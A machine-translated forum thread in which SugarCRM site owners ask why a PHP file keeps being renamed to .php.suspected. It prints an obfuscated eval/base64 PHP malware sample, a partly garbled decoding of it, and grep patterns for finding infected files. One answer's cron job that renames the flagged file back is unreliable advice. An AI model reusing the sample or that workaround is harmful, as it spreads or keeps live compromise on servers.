it-roy-ru.com

php файл автоматически переименовывается в php.suspected

Начиная с последних 4 дней, мы сталкиваемся со странной проблемой на нашем производственном сервере (экземпляр AWS EC2), характерной только для одного сайта, который является SugarCRM.

Проблема в том, что /home/site_folder/public_html/include/MassUpdate.php файл автоматически переименовывается в /home/site_folder/public_html/include/MassUpdate.php.suspected

Это происходит 2-3 раза в день с перерывом в 3-4 часа. Эта проблема возникает только в случае конкретного сайта, даже не возникает для размещения реплики того же сайта. Я даже проверил код этого файла с обоих сайтов, он одинаковый.

Мы нашли и обнаружили, что такая проблема возникает в основном на сайтах Wordpress, и это может быть связано с атакой. Но мы проверили наш сервер на предмет атак, их нет. Также на сервере не выполняется сканирование на наличие вирусов и вредоносных программ.

Что нам делать?

Update: Мы нашли несколько вещей после перехода по этой ссылке Мы выполнили egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/ и обнаружили, что существует несколько файлов со следующим примером кода.

    <?php
function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];}
$ixo="base64_decode";return $ixo($ggy);}
$s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'.
'0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X=';
$koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', 'a'=>'D', 'c'=>'a', 'b'=>'K', 'e'=>'o', 'd'=>'5', 'g'=>'m', 'f'=>'h', 'i'=>'6', 'h'=>'c', 'k'=>'p', 'j'=>'s', 'm'=>'A', 'l'=>'R', 'o'=>'S', 'n'=>'u', 'q'=>'N', 'p'=>'k', 's'=>'7', 'r'=>'t', 'u'=>'2', 't'=>'l', 'w'=>'e', 'v'=>'1', 'y'=>'T', 'x'=>'Z', 'z'=>'f');
eval(flnftovr($s, $koicev));?>

Кажется, какая-то вредоносная программа, как мы навсегда удаляем ее?

Спасибо

12
Amol Chakane

Размещая этот ответ, он может помочь другим.

  1. Создайте файл с расширением '.sh' в вашем удобном месте.
  2. Добавьте следующий код в это.

#Rename your_file_name.php.suspected to your_file_name.php mv /<path_to_your_file>/your_file_name.php.suspected /<path_to_your_file>/your_file_name.php

  1. Сохраните этот файл.
  2. Установите cron на каждые 10 минут (или любой другой интервал, который вам нужен), используя следующую строку в crontab

*/10 * * * * path_to_cron_file.sh

  1. Перезапустите сервис crontab.

Вы получите много документации по созданию cron в Google.

0
Amol Chakane

Он несколько запутан, но я его обфусцировал. Функция flnftovr принимает строку и массив в качестве аргументов. Создает новую строку $ ggy по формуле 

isset($array[$string[$i]]) ? $array[$string[$i]] : $string[$i];}

Затем он добавляет в строку base64_decode.

Строка $ s, массив $ koicev. Затем он опровергает результат этой манипуляции. В итоге создается строка:

base64_decode(QGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKCmlmKGlzc2V0KCRfU0VSVkVSKfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7Cn0=)

Итак, что на самом деле запускается на вашем сервере:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);

if(isset($_SERVER)
encode(serialize($res));
}

Если вы не создали это и подозреваете, что ваш сайт был взломан, я бы посоветовал вам стереть сервер и создать новую установку всех приложений, работающих на вашем сервере.

2
Alan Apter

Переименование файлов .php в .php.suspected продолжается и сегодня. Следующие команды не должны придумывать что-то:

find <web site root> -name '*.suspected' -print
find <web site root> -name '.*.ico' -print

В моем случае зараженные файлы могут быть обнаружены с помощью следующих команд:

cd <web site root>
egrep -Rl '\$GLOBALS.*\\x'
egrep -Rl -Ezo '/\*(\w+)\*/\s*@include\s*[^;]+;\s*/\*'
egrep -Rl -E '^.+(\$_COOKIE|\$_POST).+eval.+$'

Я подготовил более подробное описание проблемы и способов ее решения на GitHub .

0
Javier Elices